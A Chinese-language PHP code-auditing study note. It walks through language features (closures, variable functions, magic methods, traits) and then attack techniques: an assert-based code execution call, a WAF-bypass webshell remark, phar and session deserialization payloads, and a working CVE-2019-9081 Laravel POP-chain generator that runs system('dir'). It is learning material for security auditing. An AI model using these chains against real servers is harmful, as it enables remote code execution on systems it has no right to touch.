php代码审计学习笔记
0x00 php匿名函数
1 2 3 4 5
| $next =function($name){ echo $name; }; $words = "eee"; $next($words);
|
如若匿名函数在普通函数中则可以通过此方法引用匿名函数
1 2 3 4 5 6 7 8 9
| <?php function closure(){ $words = "eee"; $func = function()use($words){ echo $words; }; $func(); } closure();
|
此方法可以在webshell中使用,绕过waf
0x01 call_user_function函数
1 2 3 4 5 6 7
| <?php function func($b){ echo $b; } $c = "aaa"; call_user_func('func',$c); call_user_func('assert', "phpinfo()");
|
0x02 assert函数
assert用于 判断表达式是否成立,返回true或者false。但是当传入一个php语句时,会直接执行PHP语句。
0x03 …运算符实现变长参数函数
1 2 3 4 5 6 7
| <?php function a(...$args) { foreach($args as $a) echo $a; } a("heihei","haha","en")
|
0x04 __get()魔法方法的使用
1 2 3 4 5 6 7 8 9
| <?php class test{ private $name = '111'; function __get($a){ return $this->$a; } } $test = new test(); echo $this->name;
|
0x05 php可变函数
1 2 3 4 5
| function func(){ echo 'this is a test'; } $f = 'func'; $f();
|
0x06 反序列化数组变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class a{ protected $attribute; public function __construct(array $attribute) { $this->attribute = $attribute; }
public function __get($name) { return $this->attribute[$name]; } } $c = array('id'=>"haha"); $b = new a($c); var_dump($b->id);
|
或者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class a{ protected $attribute; public function __construct($attribute) { $this->attribute = $attribute; }
public function __get($name) { return $this->attribute; } } $c = "haha"; $b = new a($c); var_dump($b->id);
|
0x07 面向对象单例模式
1、一个类只有一个实例
2、这个实例由类自己创建
3、通过静态方法向整个系统提供这个实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class a{ private static $b = NULL ; private function __construct(){ } public static function d(){ self::$b = new a(); return self::$b; } public function test(){ echo 'haha'; } } $c = a::d(); $c->test();
|
0x08 ArrayAccess(数组式访问)接口
1 2 3 4 5 6 7
| ArrayAccess {
abstract public offsetExists ( mixed $offset ) : boolean abstract public offsetGet ( mixed $offset ) : mixed abstract public offsetSet ( mixed $offset , mixed $value ) : void abstract public offsetUnset ( mixed $offset ) : void }
|
提供一个像访问数组一样访问对象的容器的接口,在这个数组里面存储着能被访问的对象。
0x08 cve-2019-9081的exp分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php namespace Illuminate\Foundation\Testing {//PendingCommand.php所在的路径 class PendingCommand //PendingCommand.php文件中的PendingCommand类 { public $test; protected $app; protected $command; protected $parameters;
public function __construct($test, $app, $command, $parameters) { $this->test = $test; $this->app = $app; $this->command = $command; $this->parameters = $parameters; } } } namespace Illuminate\Auth{ //此类为了让run中的mockConsoleOutput()能正常执行不在测试类中报错而停止 class GenericUser{ protected $attributes; public function __construct(array $attributes) { $this->attributes = $attributes; } } } namespace Illuminate\Foundation{//此类为了调用那个能执行call方法从而执行rce的类 class Application{ protected $bindings=[]; public function __construct(array $bindings) { $this->bindings["Illuminate\Contracts\Console\Kernel"] = $bindings; } } } namespace {//此处必须加namespace,因为一个文件执行多个命名空间时,此代码也得加命名空间,表示在默认命名空间 $test = new Illuminate\Auth\GenericUser(array("expectedOutput" => array("1" => "1"), "expectedQuestions" => array("1" => "1"))); $app = new Illuminate\Foundation\Application(array("concrete" => "Illuminate\Foundation\Application")); echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand($test, $app, "system", array('dir')))); }
|
0x09 __toString()魔法函数
1 2 3 4 5 6 7 8 9 10 11
| <?php class a{ public $b; public function __toString() { echo "this is a test"; } } $b = new a(); print($b);
|
0x10 php trait
在底层php将那trait中的代码复制粘贴到use的类中,类似于继承。
1 2 3 4 5 6 7 8 9 10 11 12
| <?php trait test{ public function test(){ echo "hahah"; } } class example{ use test;
} $a =new example(); $a->test();
|
0x11 phar协议的构造反序列化
Phar://
配合file_exist()或者file_get_contents()进行反序列化
生成payload Phar.phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class test{ public $a; public function __construct($test) { $this->a = $test; } } class example{} @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new test(new example); $phar->setMetadata($o); $phar->addFromString("hahh.jpg","test"); $phar->stopBuffering();
|
利用结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class test{ public $a; public $b; public function call(){ $this->a->aa(); } public function __destruct() { $this->call(); } } class example{ public function __call($name, $arguments) { echo "ok"; } } $filename = 'phar://phar.phar/hahh.jpg'; file_get_contents($filename);
|
利用条件:
1、文件系统函数参数可控且:
、/
、phar
可以使用
2、phar文件能上传至服务端
0x12 php session反序列化
在调用session_start()
之前调用session_save_path(string path)
可以修改session存放的路径。
也可以使用session_start(array("save_path"=>string path))
来修改存储路径。
这样就可以控制文件包含的路径了,然后通过传值传入sess_id
实现rce。
php中session的存储方式:
- php_binary:
ASCII(6)spoocks:48:"|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";
使用的是key,value格式。
- Php_serialize:
a:1:{s:6:"spoock";s:48:"|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";}
使用反序列化的方式来存储。
- Php:
spoock|s:48:"|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";
使用key,value的形式,并且通过|进行分隔,后面的value使用反序列化存储。
实验过程:
先实现反序列化payload
1 2 3 4 5 6 7 8 9 10
| <?php class test{ public $a; public function __construct() { $this->a = "hahaha"; } } $b = new test(); echo serialize($b);
|
然后将payload前面加|
实现session—payload|O:4:"test":1:{s:1:"a";s:6:"hahaha";}
将session-payload传入session文件
1 2 3 4
| <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["knight"]=$_GET['a'];
|
此时生成了一个session文件
内容为a:1:{s:6:"spoock";s:37:"|O:4:"test":1:{s:1:"a";s:6:"hahaha";}";}
然后访问文件
1 2 3 4 5 6 7 8 9 10
| <?php
session_start(); class test{ public $a; public function __destruct() { echo $this->a; } }
|
即可实现php反序列化
利用条件:
1、两次session.serialize_handler处理引擎不同
2、能传值进入php session文件
3、有反序列化点
tips:如果对反序列化的结果进行了字符串长度变化的操作,可以使用;}截断反序列化
1 2 3 4 5 6 7
| <?php $username="a'a\a;}"; $passwd="bbb";
$user = array($username,$passwd); var_dump("\\0"); echo serialize($user);
|
tips:寻找rce时还可以寻找类似的
1 2 3 4
| <?php $a = "system"; $b = "dir"; $a($b);
|
tips:当遇见$this->event->aaa($event)
时$this->event
是个可控的类名,那么就可以去寻找是否有类存在__call
方法,然后看看能不能通过此方法执行任意函数。
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class a{
public function __call($name, $arguments) { echo $name."\n"; var_dump($arguments); } } $b = new a(); $b->d("id");
|